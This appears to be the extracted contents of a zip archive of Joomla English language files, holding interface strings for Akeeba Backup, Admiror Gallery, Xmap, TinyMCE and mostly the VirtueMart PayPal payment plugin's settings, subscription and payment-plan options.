AkeebaBackup ;; @copyright Copyright (c)2009-2012 Nicholas K. Dionysopoulos ;; @license GNU General Public License version 3, or later ;; AKEEBA_NOT_ENABLED="Akeeba Backup is not enabled on this site" LBL_WARNINGS="Enable warning icon" DESC_WARNINGS="When enabled, the Akeeba Backup logo icon displays a small warning sign if the backup is failed or outdated (see below)." LBL_WARNFAILED="Warn on failed backups" DESC_WARNFAILED="When both this and the previous options are enabled, a warning icon is displayed if the last backup is failed." LBL_PERIOD="Stale backup time, in hours" DESC_PERIOD="Assume that a backup is stale if this many hours have passed since the last successful backup. If the backup is stale, a warning icon is displayed if the first option is enabled." LBL_YES="Enable" LBL_NO="Disable" LBL_AKEEBA="Backup is up-to-date" LBL_BACKUPREQUIRED="Backup required!" PK@y>\ 7language/en-GB/en-GB.plg_content_admirorgallery.sys.ininuW+A; @version 4.0 ; @package Admiror Gallery (plugin) ; @copyright Copyright (C) 2010 - 2011. All rights reserved. ; @author Igor Kekeljevic & Nikola Vasiljevski, 2011. ; @license GNU/GPL license: http://www.gnu.org/copyleft/gpl.html ; @note All ini files need to be saved as UTF-8 ; Plugin Description PLG_ADMIRORGALLERY_XML_DESCRIPTION="

      Admiror Gallery

      Admiror Gallery renders image gallery from folder with images. It supports jpg, jpeg, png and gif images.

      Create your folder inside Images Root Folder and place images for gallery inside this folder. Usually Images Root Folder is /images/stories/ folder.

      Put {AG}name_of_your_folder{/AG} inside your article.

      Creation of thumb images is automatic, if user opens the page with AdmirorGallery and there are new images or size changed. It''s recommended to admin to opens page with AdmirorGallery to execute changes instead of user. Admiror Gallery consists of 3 mayor elements: Templates, Popups and Image manager.

      For more information visit Admiror Gallery Webpage or Admiror Gallery Community.

      Templates are standard look and feel of gallery. Usually it''s a set of small thumbnails with descriptions.

      Popups is wrapper for showing larger image, which is usually initiated by clicking on thumbnail image.

      Copyright

      Admiror Gallery is free software. You can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3, or (at your option) any later version.

      * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.


      " PLG_CONTENT_ADMIRORGALLERY="Content - Admiror Gallery"PK@y>\˧]].language/en-GB/en-GB.plg_xmap_com_weblinks.ininuW+AXMAP_WL_PLUGIN_DESCRIPTION="Adds support for Weblinks component" XMAP_WL_SETTING_SHOW_LINKS_LABEL="Show Links?" XMAP_WL_SETTING_SHOW_LINKS_DESC="Should we include links into the site map?" XMAP_WL_SETTING_MAX_LINKS_LABEL="Max links" XMAP_WL_SETTING_MAX_LINKS_DESC="Max number of links per category to include on sitemap (Leave empty for no limit)" ; Generic Extension settings strings COM_PLUGINS_BASIC_FIELDSET_LABEL="Basic Settings" COM_PLUGINS_XML_FIELDSET_LABEL="XML Sitemap Settings" COM_PLUGINS_NEWS_FIELDSET_LABEL="News Sitemap Settings" XMAP_OPTION_USE_PARENT_MENU="Use Parent Menu Settings" XMAP_OPTION_NEVER="Never" XMAP_OPTION_ALWAYS="Always" XMAP_OPTION_XML_ONLY="In XML Sitemap Only" XMAP_OPTION_HTML_ONLY="In HTML Sitemap Only" XMAP_OPTION_WEEKLY="Weekly" XMAP_OPTION_DAILY="Daily" XMAP_OPTION_MONTHLY="Monthly" XMAP_OPTION_YEARLY="Yearly" XMAP_OPTION_HOURLY="Hourly" XMAP_WL_CATEGORY_PRIORITY_LABEL="Category Priority" XMAP_WL_CATEGORY_PRIORITY_DESC="Set the priority for the categories" XMAP_WL_CATEGORY_CHANGEFREQ_LABEL="Category Change frequency" XMAP_WL_CATEGORY_CHANGEFREQ_DESC="Set the change frequency for the categories" XMAP_WL_LINK_PRIORITY_LABEL="Link Priority" XMAP_WL_LINK_PRIORITY_DESC="Set the priority for the links" XMAP_WL_LINK_CHANGEFREQ_LABEL="Link Change frequency" XMAP_WL_LINK_CHANGEFREQ_DESC="Set the change frequency for the links"PK@y>\Abzz0language/en-GB/en-GB.plg_editors_tinymce.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_TINYMCE="Editor - TinyMCE" PLG_TINY_XML_DESCRIPTION="TinyMCE is a platform-independent Web-based JavaScript HTML WYSIWYG Editor control." PK@y>\ bb-language/en-GB/en-GB.plg_vmpayment_paypal.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valérie Isaksen ; @author Jeremy Magne ; @package VMPayment ; @subpackage VirtueMart payment PayPal VMPAYMENT_PAYPAL_AIO="Vm Payment plugin PayPal" VMPAYMENT_PAYPAL_DESC="PayPal payment plugin with additional payment options like recurring, payment terms, cart detail..." VMPAYMENT_PAYPAL_PAYMENT_TITLE="PayPal payment plugin" VMPAYMENT_PAYPAL_REGISTER_DESC="No PayPal account? Please register at the PayPal site" ;------------- ; PayPal Products ;------------- VMPAYMENT_PAYPAL_PRODUCTS="PayPal product" VMPAYMENT_PAYPAL_PRODUCTS_DESC="Select the PayPal product" VMPAYMENT_PAYPAL_PRODUCTS_STANDARD="Standard" VMPAYMENT_PAYPAL_PRODUCTS_EXPRESS="Express checkout" VMPAYMENT_PAYPAL_PRODUCTS_API="PayPal Payment Pro" VMPAYMENT_PAYPAL_PRODUCTS_HOSTED="Hosted Pro" ;-------- ; Common ;-------- VMPAYMENT_PAYPAL_TRANSACTION_LOG="Transaction log" VMPAYMENT_PAYPAL_VIEW_TRANSACTION_LOG="View transaction log" VMPAYMENT_PAYPAL_METHOD="Payment Method" VMPAYMENT_PAYPAL_TRX_TYPE="Transaction type" VMPAYMENT_PAYPAL_AMOUNT_GROSS="Transaction Gross amount" VMPAYMENT_PAYPAL_AMOUNT_FEE="Transaction Fee" VMPAYMENT_PAYPAL_STATUS="Status" VMPAYMENT_PAYPAL_REASON="Reason" VMPAYMENT_PAYPAL_ACTION_AUTHORIZE_WARNING="Warning - When you select PayPal Standard with Authorization mode, you need to capture the payment." VMPAYMENT_PAYPAL_SANDBOX_WARNING="Warning - PayPal is set in sandbox mode. No real money is transferred and this is not suitable for live sites" VMPAYMENT_PAYPAL_REFUND_CANCEL="Refund payment on cancel order" VMPAYMENT_PAYPAL_REFUND_CANCEL_DESC="When enabled, if you cancel an order, The payment will be refund on PayPal" ;---------------- ; PayPal credentials ;---------------- VMPAYMENT_PAYPAL_CREDENTIALS="PayPal Credentials" VMPAYMENT_PAYPAL_CREDENTIALS_DESC="Enter your PayPal credentials information" VMPAYMENT_PAYPAL_GET_CREDENTIALS="Get PayPal Credentials" VMPAYMENT_PAYPAL_GET_SANDBOX_CREDENTIALS="Get PayPal Sandbox Credentials" VMPAYMENT_PAYPAL_SANDBOX_DEVELOPER="Connect to the Developer Website" VMPAYMENT_PAYPAL_USERNAME="API Username" VMPAYMENT_PAYPAL_PASSWORD="API Password" VMPAYMENT_PAYPAL_CERTIFICATE="API Certificate" VMPAYMENT_PAYPAL_SIGNATURE="API Signature" VMPAYMENT_PAYPAL_SANDBOX_USERNAME="Sandbox API Username" VMPAYMENT_PAYPAL_SANDBOX_PASSWORD="Sandbox API Password" VMPAYMENT_PAYPAL_SANDBOX_SIGNATURE="Sandbox API Signature" VMPAYMENT_PAYPAL_SANDBOX_CERTIFICATE="Sandbox API Certificate" VMPAYMENT_PAYPAL_MERCHANT="Merchant Email" VMPAYMENT_PAYPAL_MERCHANT_DESC="Your business email address for PayPal payments" VMPAYMENT_PAYPAL_SANDBOX_MERCHANT="Sandbox Merchant Email" VMPAYMENT_PAYPAL_SANDBOX_MERCHANT_DESC="Merchant Sandbox Email" VMPAYMENT_PAYPAL_SHOP_MODE="Shop Mode" VMPAYMENT_PAYPAL_SHOP_MODE_DESC="Sandbox" VMPAYMENT_PAYPAL_PRODUCTION="Production" VMPAYMENT_PAYPAL_SANDBOX="Sandbox" VMPAYMENT_PAYPAL_ACCELERATED_ONBOARDING="Accelerated Boarding?" VMPAYMENT_PAYPAL_ACCELERATED_ONBOARDING_DESC="You can accept PayPal payments straight away and setup you business PayPal account later. Only available if your payment is Direct payment." VMPAYMENT_PAYPAL_SANDBOX_PAYFLOW_VENDOR="Sandbox Payflow vendor" VMPAYMENT_PAYPAL_SANDBOX_PAYFLOW_PARTNER="Sandbox Payflow partner" VMPAYMENT_PAYPAL_PAYFLOW_VENDOR="Payflow vendor" VMPAYMENT_PAYPAL_PAYFLOW_VENDOR_DESC="Your merchant login ID that you created when you registered for the account. If you set up one or more additional users on the account, this value is the ID of the user authorized to process transactions. If, however, you have not set up additional users on the account, USER has the same value as VENDOR." VMPAYMENT_PAYPAL_PAYFLOW_PARTNER="Payflow partner" VMPAYMENT_PAYPAL_PAYFLOW_PARTNER_DESC=" The ID provided to you by the authorized PayPal Reseller who registered you for the Gateway gateway. If you purchased your account directly from PayPal, use PayPal." VMPAYMENT_PAYPAL_CREDENTIALS_NOT_SET="PayPal credentials are not set [payment name:%s, payment id:%d]" VMPAYMENT_PAYPAL_AUTHENTICATION="Authentication" VMPAYMENT_PAYPAL_AUTHENTICATION_SIGNATURE="Signature" VMPAYMENT_PAYPAL_AUTHENTICATION_CERTIFICATE="Certificate" VMPAYMENT_PAYPAL_CERTIFICATE_FOLDER_NOT_EXIST="The folder %s does not exist. Create the folder and place the certificate inside." ;----------------- ; PayPal settings ;----------------- VMPAYMENT_PAYPAL_SETTINGS="PayPal settings" VMPAYMENT_PAYPAL_SETTINGS_DESC="This section will define how PayPal will behave" VMPAYMENT_PAYPAL_ONLYVERIFIED="Accept only verified buyers?" VMPAYMENT_PAYPAL_ONLYVERIFIED_EXPLAIN="Here you can choose if you only want to accept payments from buyers with a verified PayPal account (when an account is not verified, PayPal does transfer the funds, but they do not fully guarantee the validity of the sale)." VMPAYMENT_PAYPAL_ADDRESS_OVERRIDE="Let buyers override their PayPal addresses?" VMPAYMENT_PAYPAL_ADDRESS_OVERRIDE_DESC="The address specified with automatic fill-in variables overrides the PayPal member’s stored address. Buyers see the addresses that you pass in, but they cannot edit them. PayPal does not show addresses if they are invalid or omitted." VMPAYMENT_PAYPAL_NO_SHIPPING="Prompt buyers for a shipping address" VMPAYMENT_PAYPAL_NO_SHIPPING_DESC="Prompt buyers for a shipping address" VMPAYMENT_PAYPAL_NO_SHIPPING_DO_NOT_PROMPT="Do not prompt for an address" VMPAYMENT_PAYPAL_NO_SHIPPING_PROMPT="Prompt for an address, but do not require one" VMPAYMENT_PAYPAL_NO_SHIPPING_PROMPT_REQUIRE="Prompt for an address, and require one" VMPAYMENT_PAYPAL_CURRENCY="Payment Currency" VMPAYMENT_PAYPAL_CURRENCY_DESC="Currency accepted for the payment" VMPAYMENT_PAYPAL_EMAIL_CURRENCY="Email Currency" VMPAYMENT_PAYPAL_EMAIL_CURRENCY_DESC="Email currency" VMPAYMENT_PAYPAL_EMAIL_CURRENCY_PAYMENT="Payment currency" VMPAYMENT_PAYPAL_EMAIL_CURRENCY_VENDOR="Vendor currency" VMPAYMENT_PAYPAL_OPTIONAL_PARAMS="OPTIONAL PARAMETERS" VMPAYMENT_PAYPAL_BASIC_PARAMS="BASIC PARAMETERS" VMPAYMENT_PAYPAL_EXPECTEDMAXAMOUNT="Expected max amount" VMPAYMENT_PAYPAL_EXPECTEDMAXAMOUNT_DESC="The expected maximum total amount of the complete order, including shipping and tax charges. It is an additional information for PayPal’s business logic to properly calculate the customer’s available funds for your unique circumstances." VMPAYMENT_PAYPAL_CVV_REQUIRED="CVV required" ;-------- ; Layout ;-------- VMPAYMENT_PAYPAL_LAYOUT_SECTION="Layout" VMPAYMENT_PAYPAL_LAYOUT_SECTION_DESC="Here you can modify some layout in VirtueMart Shopping cart and PayPal page." VMPAYMENT_PAYPAL_LOGOS="Logos" VMPAYMENT_PAYPAL_LOGOS_DESC="Logos to be displayed with the payment name" VMPAYMENT_PAYPAL_HEADERIMAGE="PayPal page header image" VMPAYMENT_PAYPAL_HEADERIMAGE_DESC="URL for the image you want to appear at the top left of the payment page. The image has a maximum size of 750 pixels wide by 90 pixels high.
      PayPal recommends that you provide an image that is stored on a secure (https) server. If you do not specify an image, the business name displays." VMPAYMENT_PAYPAL_LOGOIMAGE="PayPal page Logo image" VMPAYMENT_PAYPAL_LOGOIMAGE_DESC="A URL to your logo image. Use a valid graphics format, such as .gif, .jpg, or .png. Limit the image to 190 pixels wide by 60 pixels high. PayPal crops images that are larger. PayPal places your logo image at the top of the cart review area.
      PayPal recommends that you provide an image that is stored on a secure (https) server.
      If you select default settings, the vendor main image will be used." VMPAYMENT_PAYPAL_BORDERCOLOR="PayPal page border color" VMPAYMENT_PAYPAL_BORDERCOLOR_DESC="Enter an exadecimal value for the border color in PayPal pages. For example '#FF0033' will generate a red border" VMPAYMENT_PAYPAL_HEADER_IMAGE_WARNING="Warning - This will be the logo image displayed on the PayPal payment page
      " VMPAYMENT_PAYPAL_TEMPLATE="Template" VMPAYMENT_PAYPAL_TEMPLATE_DESC="PayPal Template to use" VMPAYMENT_PAYPAL_TEMPLATE_A="Template A (web layout)" VMPAYMENT_PAYPAL_TEMPLATE_B="Template B (web layout)" VMPAYMENT_PAYPAL_TEMPLATE_C="Template C (web layout)" VMPAYMENT_PAYPAL_TEMPLATE_D="Template D (iframe web layout)" VMPAYMENT_PAYPAL_TEMPLATE_WARNING="All the parameters that you set here will override your payment page settings in your PayPal account profile. The available parameters depend on your template choice." VMPAYMENT_PAYPAL_HEADERBGCOLOR="Header Bg Color" VMPAYMENT_PAYPAL_HEADERBGCOLOR_DESC="Color of the header background." VMPAYMENT_PAYPAL_HEADERHEIGHT="Header Height" VMPAYMENT_PAYPAL_HEADERHEIGHT_DESC="Height of the header banner. It can be from 50 to 140 pixels. The width cannot be changed. It is always 940 pixels." VMPAYMENT_PAYPAL_LOGOFONT="Lofo Font" VMPAYMENT_PAYPAL_LOGOFONT_DESC="Font type of the logo text." VMPAYMENT_PAYPAL_LOGOFONTCOLOR="Logo Font Color" VMPAYMENT_PAYPAL_LOGOFONTCOLOR_DESC="Color of the logo text." VMPAYMENT_PAYPAL_LOGOFONTSIZE="Logo Font Size" VMPAYMENT_PAYPAL_LOGOFONTSIZE_DESC="Font size of the logo text." VMPAYMENT_PAYPAL_LOGOIMAGE="Logo Image" VMPAYMENT_PAYPAL_LOGOFONTSIZE_DESC="Image displayed in the logo. The acceptable file extension formats are .gif, .jpg, .jpeg, or .png. The width of the image cannot be more than 940 pixels." VMPAYMENT_PAYPAL_TEMPLATE_HEADER="Header" VMPAYMENT_PAYPAL_TEMPLATE_PAGEBG="Page Background" VMPAYMENT_PAYPAL_TEMPLATE_PAYMENTMETHOD="Payment method" VMPAYMENT_PAYPAL_TEMPLATE_ORDERSUMMARY="Order summary" VMPAYMENT_PAYPAL_BODYBGIMG="Body Bg Image" VMPAYMENT_PAYPAL_BODYBGIMG_DESC="Image of the surrounding background of the payment page. The file extension can be .gif, .jpg, .jpeg, or .png format." VMPAYMENT_PAYPAL_BODYBGCOLOR="Body Color Background" VMPAYMENT_PAYPAL_BODYBGCOLOR_DESC="Color of the surrounding background of the payment page." VMPAYMENT_PAYPAL_PAGETITLETEXTCOLOR="page Title text Color" VMPAYMENT_PAYPAL_PAGETITLETEXTCOLOR_DESC="Color of the text used in the title of the page. (Text that says 'Choose a way to pay.')" VMPAYMENT_PAYPAL_BORDERCOLOR="Border Color" VMPAYMENT_PAYPAL_PAGETITLETEXTCOLOR="Page Title Text Color" VMPAYMENT_PAYPAL_PAGETITLETEXTCOLOR_DESC="Color of the text used in the title of the page. (Text that says “Choose a way to pay.”)" VMPAYMENT_PAYPAL_PAGECOLLAPSEBGCOLOR="page collapse bg color" VMPAYMENT_PAYPAL_PAGECOLLAPSEBGCOLOR_DESC="Sets the color of the border around the embedded template C. " VMPAYMENT_PAYPAL_PAGECOLLAPSETEXTCOLOR="page collapse text color" ;VMPAYMENT_PAYPAL_PAGECOLLAPSETEXTCOLOR_DESC="Sets the color of the words “Pay with PayPal” and “Pay with credit or debit card”. Example:PAGECOLLAPSETEXTCOLOR=990000" VMPAYMENT_PAYPAL_PAGEBUTTONBGCOLOR="Page Button Bg Color" VMPAYMENT_PAYPAL_PAGEBUTTONBGCOLOR_DESC="Background color of the Pay Now button." VMPAYMENT_PAYPAL_PAGEBUTTONTEXTCOLOR="Page Button Text Color" VMPAYMENT_PAYPAL_PAGEBUTTONTEXTCOLOR_DESC="Color of the Pay Now button. You cannot change the text of the button." VMPAYMENT_PAYPAL_ORDERSUMMARYBGCOLOR="Order Summary Color" VMPAYMENT_PAYPAL_ORDERSUMMARYBGCOLOR_DESC="Color of the Order Summary column on the right side of the payment page." VMPAYMENT_PAYPAL_ORDERSUMMARYBGIMAGE="Order Summary Bg Image" VMPAYMENT_PAYPAL_ORDERSUMMARYBGIMAGE_DESC="Background image you can put in the Order Summary Column. The acceptable file extension formats are .gif, .jpg, .jpeg, or .png." VMPAYMENT_PAYPAL_FOOTERTEXTCOLOR="Footer Text Color" VMPAYMENT_PAYPAL_FOOTERTEXTCOLOR_DESC="Color of the footer text." VMPAYMENT_PAYPAL_FOOTERTEXTLINKCOLOR="Footer Text Link Color" VMPAYMENT_PAYPAL_FOOTERTEXTLINKCOLOR_DESC="Link Color of the footer text" VMPAYMENT_PAYPAL_SECTIONBORDER="Section Border" VMPAYMENT_PAYPAL_SECTIONBORDER_DESC="Background of the section that displays 'Pay with my PayPal account' or 'Pay with a Card'." ;------------ ; PayPal API ;------------ VMPAYMENT_PAYPAL_API_PAYMENT_NAME="Payment Name" VMPAYMENT_PAYPAL_API_AMOUNT="Total Amount" VMPAYMENT_PAYPAL_API_AUTHORIZATION_CODE="PayPal Pro Correlation ID" VMPAYMENT_PAYPAL_API_TRANSACTION_ID="PayPal Transaction Id" VMPAYMENT_PAYPAL_API_ERROR_CODE="Error Code" VMPAYMENT_PAYPAL_API_ERROR_DESC="Error Description" VMPAYMENT_PAYPAL_API_TRANSACTION_CAPTURED="The PayPal transaction was captured" VMPAYMENT_PAYPAL_API_TRANSACTION_REFUNDED="The PayPal transaction was refunded" ;------------------ ; Express checkout ;------------------ VMPAYMENT_PAYPAL_ACTION="Payment action" VMPAYMENT_PAYPAL_ACTION_DESC="Select the payment action that will be performed upon checkout" VMPAYMENT_PAYPAL_ACTION_SALE="Direct payment" VMPAYMENT_PAYPAL_ACTION_AUTHORIZE="Authorize and capture" VMPAYMENT_PAYPAL_EXPCHECKOUT_BUTTON="Save time. Checkout securely. Pay without sharing your financial information." VMPAYMENT_PAYPAL_EXPCHECKOUT_AVAILABALE="PayPal Checkout Available" ;------------- ; sttlement ;------------- VMPAYMENT_PAYPAL_SETTLEMENT_SECTION="Settlement Reports" VMPAYMENT_PAYPAL_SETTLEMENT_SECTION_DESC="Settlement Reports are saved under the safepath" VMPAYMENT_PAYPAL_SFTP_LOGIN="SFTP login" VMPAYMENT_PAYPAL_SFTP_PASSWORD="SFTP password" VMPAYMENT_PAYPAL_SFTP_HOST="SFTP host" VMPAYMENT_PAYPAL_SFTP_HOST_DESC="SFTP host is by default reports.paypal.com" VMPAYMENT_PAYPAL_SFTP_SANDBOX_LOGIN="SFTP Sandbox login" VMPAYMENT_PAYPAL_SFTP_SANDBOX_PASSWORD="SFTP Sandbox password" VMPAYMENT_PAYPAL_SFTP_SANDBOX_HOST="SFTP Sandbox host" ;------------- ; Credit Card ;------------- VMPAYMENT_PAYPAL_CC_CREDITCARDS="Accepted Credit Cards" VMPAYMENT_PAYPAL_CC_CREDITCARDS_DESC="Select Your Accepted Credit Cards" VMPAYMENT_PAYPAL_CC_VISA="Visa" VMPAYMENT_PAYPAL_CC_MASTERCARD="Mastercard" VMPAYMENT_PAYPAL_CC_AMEX="American Express" VMPAYMENT_PAYPAL_CC_DISCOVER="Discover" VMPAYMENT_PAYPAL_CC_DINERSCLUB="Diners Club" VMPAYMENT_PAYPAL_CC_JCB="JCB" VMPAYMENT_PAYPAL_CC_MAESTRO="Maestro" VMPAYMENT_PAYPAL_CC_CVVIMAGES="CVV images" VMPAYMENT_PAYPAL_CC_CVVIMAGES_DESC="CVV images that will be added to the tooltip 'What is CVV?'" VMPAYMENT_PAYPAL_CC_SANDBOX_INFO="You are using the sandbox Mode. You can use these Credit Cards Test Numbers
      Visa: 4007000000027 / Amex: 370000000000002 / Master Card: 6011000000000012 / Discover: 5424000000000015 / Maestro: 6763318282526706 /" VMPAYMENT_PAYPAL_CC_COMPLETE_FORM="Pay With Credit Card, Please enter your Credit Card information: " VMPAYMENT_PAYPAL_CC_CCTYPE="Credit Card Type: " VMPAYMENT_PAYPAL_CC_CCNUM="Credit Card Number: " VMPAYMENT_PAYPAL_CC_CVV2="CVV: " VMPAYMENT_PAYPAL_CC_EXDATE="Expiration Date: " VMPAYMENT_PAYPAL_CC_CARD_TYPE_INVALID="Credit Card Type Invalid" VMPAYMENT_PAYPAL_CC_CARD_NUMBER_INVALID="Card Number Invalid" VMPAYMENT_PAYPAL_CC_CARD_EXPIRATION_DATE_INVALID="Expiration Date Invalid" VMPAYMENT_PAYPAL_CC_CARD_CVV_INVALID="Card CVV Number Invalid or Missing" VMPAYMENT_PAYPAL_CC_WHATISCVV="What is CVV?" VMPAYMENT_PAYPAL_CC_WHATISCVV_TOOLTIP="CVV is the three or four-digit number on the back of a credit card (on the front for American Express).%s" VMPAYMENT_PAYPAL_CC_ENTER_INFO="Enter your credit card information" VMPAYMENT_PAYPAL_PAYMENT_TYPE="Payment type" VMPAYMENT_PAYPAL_PAYMENT_TYPE_DESC="Select the type of payment to use" VMPAYMENT_PAYPAL_DISCOUNT="Discounts" VMPAYMENT_PAYPAL_NORMAL="Normal" VMPAYMENT_PAYPAL_CART="Shopping cart" VMPAYMENT_PAYPAL_GIFT_CERTIFICATE="Gift certificate" VMPAYMENT_PAYPAL_SUBSCRIPTION="Subscription" VMPAYMENT_PAYPAL_AUTOBILLING="Automatic billing" VMPAYMENT_PAYPAL_PAYMENT_PLAN="Payment plan" VMPAYMENT_PAYPAL_DONATION="Donation" VMPAYMENT_PAYPAL_DURATION_D="Days" VMPAYMENT_PAYPAL_DURATION_W="Weeks" VMPAYMENT_PAYPAL_DURATION_M="Months" VMPAYMENT_PAYPAL_DURATION_Y="Years" ;-------------- ; Subscription ;-------------- VMPAYMENT_PAYPAL_SUBSCRIPTION_SECTION="Subscription" VMPAYMENT_PAYPAL_SUBSCRIPTION_DESC="This option will create a recurring payment of the cart amount. Define the billing periods below
      All payments must be collected within one year of checkout." VMPAYMENT_PAYPAL_TRIAL_PERIODS="Trial period" VMPAYMENT_PAYPAL_NONE="None" VMPAYMENT_PAYPAL_TRIAL_PERIODS_DESC="Select the number of trial periods to offer" VMPAYMENT_PAYPAL_TRIAL1_PRICE="Trial period Price" VMPAYMENT_PAYPAL_TRIAL1_PRICE_DESC="Trial period price. For a free trial period, specify 0" VMPAYMENT_PAYPAL_TRIAL1_DURATION="Trial period Duration" VMPAYMENT_PAYPAL_TRIAL1_DURATION_DESC="Specify the duration of the trial period" VMPAYMENT_PAYPAL_TRIAL2_PRICE="Trial period 2: Price" VMPAYMENT_PAYPAL_TRIAL2_PRICE_DESC="Trial period 2 price. For a free trial period, specify 0" VMPAYMENT_PAYPAL_TRIAL2_DURATION="Trial period 2: Duration" VMPAYMENT_PAYPAL_TRIAL2_DURATION_DESC="Specify the duration of the trial period 2" VMPAYMENT_PAYPAL_SUBSCRIPTION_DURATION="Normal occurence duration" VMPAYMENT_PAYPAL_SUBSCRIPTION_DURATION_DESC="Specify the duration of each normal occurence" VMPAYMENT_PAYPAL_SUBSCRIPTION_TERM="Term" VMPAYMENT_PAYPAL_SUBSCRIPTION_TERM_DESC="How many times should the normal occurences should repeat" VMPAYMENT_PAYPAL_PROFILEID="Profile ID" VMPAYMENT_PAYPAL_PROFILESTATUS="Profile status" VMPAYMENT_PAYPAL_SUBSCRIPTION_CANCELLED="The PayPal Subscription was cancelled" VMPAYMENT_PAYPAL_SUBSCRIPTION_DESCRIPTION="Subscription: Pay every %s %s, %s times" ;-------------------- ; Recurring payments ;-------------------- VMPAYMENT_PAYPAL_PAYMENT_PLAN_SECTION="PAYMENT PLAN" VMPAYMENT_PAYPAL_PAYMENT_PLAN_DESC="Use payment Plan to let buyers pay in full or sign up to pay in installments. You can collect the first installment on checkout or defer the installments
      All payments must be collected within one year of checkout.
      Important: You must have a PayPal Business account to create and use Installment Plan. In addition, you must be approved for Websites Payment Standard Enhanced Recurring Payments. For more information, contact your PayPal representative." VMPAYMENT_PAYPAL_PAYMENT_PLAN_DURATION="Occurences duration" VMPAYMENT_PAYPAL_PAYMENT_PLAN_DURATION_DESC="Define the duration of each occurence" VMPAYMENT_PAYPAL_PAYMENT_PLAN_TERM="Term" VMPAYMENT_PAYPAL_PAYMENT_PLAN_TERM_DESC="Define the term (How many installments should be collected)" VMPAYMENT_PAYPAL_PAYMENT_PLAN_DEFER="Defer payment?" VMPAYMENT_PAYPAL_PAYMENT_PLAN_DEFER_FIRST="First" VMPAYMENT_PAYPAL_PAYMENT_PLAN_DEFER_SECOND="Second" VMPAYMENT_PAYPAL_PAYMENT_PLAN_DEFER_DESC="You can defer the first payment. If so, define the defer duration below" VMPAYMENT_PAYPAL_PAYMENT_PLAN_DEFER_DURATION="Defer duration" VMPAYMENT_PAYPAL_PAYMENT_PLAN_DEFER_DURATION_DESC="Define the duration of the first occurence defer" VMPAYMENT_PAYPAL_PAYMENT_PLAN_DEFER_DATE="Defer date" VMPAYMENT_PAYPAL_PAYMENT_PLAN_DEFER_DATE_DESC="Define the duration of the first occurence defer.
      Enter a valid strtotime parameter such as '+1 month' or 'first day of next month'
      Please refer to strtotime php function help
      Warning - You can enter relative date or absolute date but make sure it will be a date in the future at the time the order is confirmed" VMPAYMENT_PAYPAL_PAYMENT_PLAN_NAME="Pay in %s installments" VMPAYMENT_PAYPAL_PAYMENT_PLAN_DESCRIPTION="Payment plan: Pay in %s installments, every %s %s" VMPAYMENT_PAYPAL_PAYMENT_PLAN_INITIAL_PAYMENT="Initial payment on %s" ;--------------- ; Xclick ;--------------- VMPAYMENT_PAYPAL_PAYMENT_XCLICK="NORMAL" VMPAYMENT_PAYPAL_PAYMENT_XCLICK_DESC="Display only one item and amount for the whole order" ;--------------- ; Shopping Cart ;--------------- VMPAYMENT_PAYPAL_PAYMENT_SHOPPING_CART="SHOPPING CART" VMPAYMENT_PAYPAL_PAYMENT_SHOPPING_CART_DESC="The detail of all items will be shown on the PayPal payment page" ;------------------- ; Automatic billing ;------------------- VMPAYMENT_PAYPAL_BILLING_SECTION="Automatic billing" VMPAYMENT_PAYPAL_BILLING_DESC="Use Automatic Billing buttons to obtain authorization from buyers to bill them for goods and services that fluctuate from month to month. You can set up automatic billing plans with monthly minimum payments or let buyers pay nothing in months when they do not spend.
      Important: You must have a PayPal Business account to create automatic billings. In addition, you must be approved for PayPal Payments Standard Enhanced Recurring Payments. For more information, contact your PayPal representative." VMPAYMENT_PAYPAL_PAYMENT_BILLING_MAX_AMOUNT="Maximum amount" VMPAYMENT_PAYPAL_PAYMENT_BILLING_MAX_AMOUNT_DESC="Define how the maximum billed amount should be calculated" VMPAYMENT_PAYPAL_PAYMENT_BILLING_MAX_AMOUNT_CART="Cart amount" VMPAYMENT_PAYPAL_PAYMENT_BILLING_MAX_AMOUNT_VALUE="Value" VMPAYMENT_PAYPAL_PAYMENT_BILLING_MAX_AMOUNT_PERC="Cart amount +%" VMPAYMENT_PAYPAL_PAYMENT_BILLING_MAX_AMOUNT_CUST="Customer defined" VMPAYMENT_PAYPAL_PAYMENT_BILLING_MAX_AMOUNT_ERROR="Please enter a valid amount" ;-------------- ; Restrictions ;-------------- VMPAYMENT_PAYPAL_RESTRICTIONS_SECTION="Restrictions" VMPAYMENT_PAYPAL_RESTRICTIONS_SECTION_DESC="Fill out filters to disable the payment option based on customer and his cart.
      Amount are based on the vendor currency" VMPAYMENT_PAYPAL_COUNTRIES="Countries" VMPAYMENT_PAYPAL_COUNTRIES_DESC="Please select the countries for which this payment method applies. If no country is selected, this payment method will be applied for all countries" VMPAYMENT_PAYPAL_MIN_AMOUNT="Minimum Amount" VMPAYMENT_PAYPAL_MIN_AMOUNT_EXPLAIN="Minimum Order Amount to offer this Payment" VMPAYMENT_PAYPAL_MAX_AMOUNT="Maximum Amount" VMPAYMENT_PAYPAL_MAX_AMOUNT_EXPLAIN="Maximum Order Amount to offer this Payment" VMPAYMENT_PAYPAL_PUBLISH_UP="Payment publish start" VMPAYMENT_PAYPAL_PUBLISH_UP_DESC="Select a date to start offering this payment method. Leave empty to skip restriction" VMPAYMENT_PAYPAL_PUBLISH_DOWN="Payment publish end" VMPAYMENT_PAYPAL_PUBLISH_DOWN_DESC="Select a date to stop offering this payment method. Leave empty to skip restriction" ;-------------------- ; Discounts ;-------------------- VMPAYMENT_PAYPAL_CURRENCIES_SECTION="Currencies" VMPAYMENT_PAYPAL_CURRENCIES_SECTION_DESC="Select the payment and email Currencies for this payment method" ;-------------------- ; Discounts ;-------------------- VMPAYMENT_PAYPAL_DISCOUNT_FEE_SECTION="Discounts and Fees" VMPAYMENT_PAYPAL_DISCOUNT_FEE_SECTION_DESC="Enter discounts or Fees that will be applied when the payment option is selected" VMPAYMENT_PAYPAL_WARNING="Warning - For subscriptions and Payment plans, if the payment method adds discounts, they will be collected as an initial non-recurring payment." VMPAYMENT_PAYPAL_COST_PERCENT_TOTAL="Percent of the total amount" VMPAYMENT_PAYPAL_COST_PERCENT_TOTAL_EXPLAIN="Percent to apply to the total product amount. Shipment cost are not included" 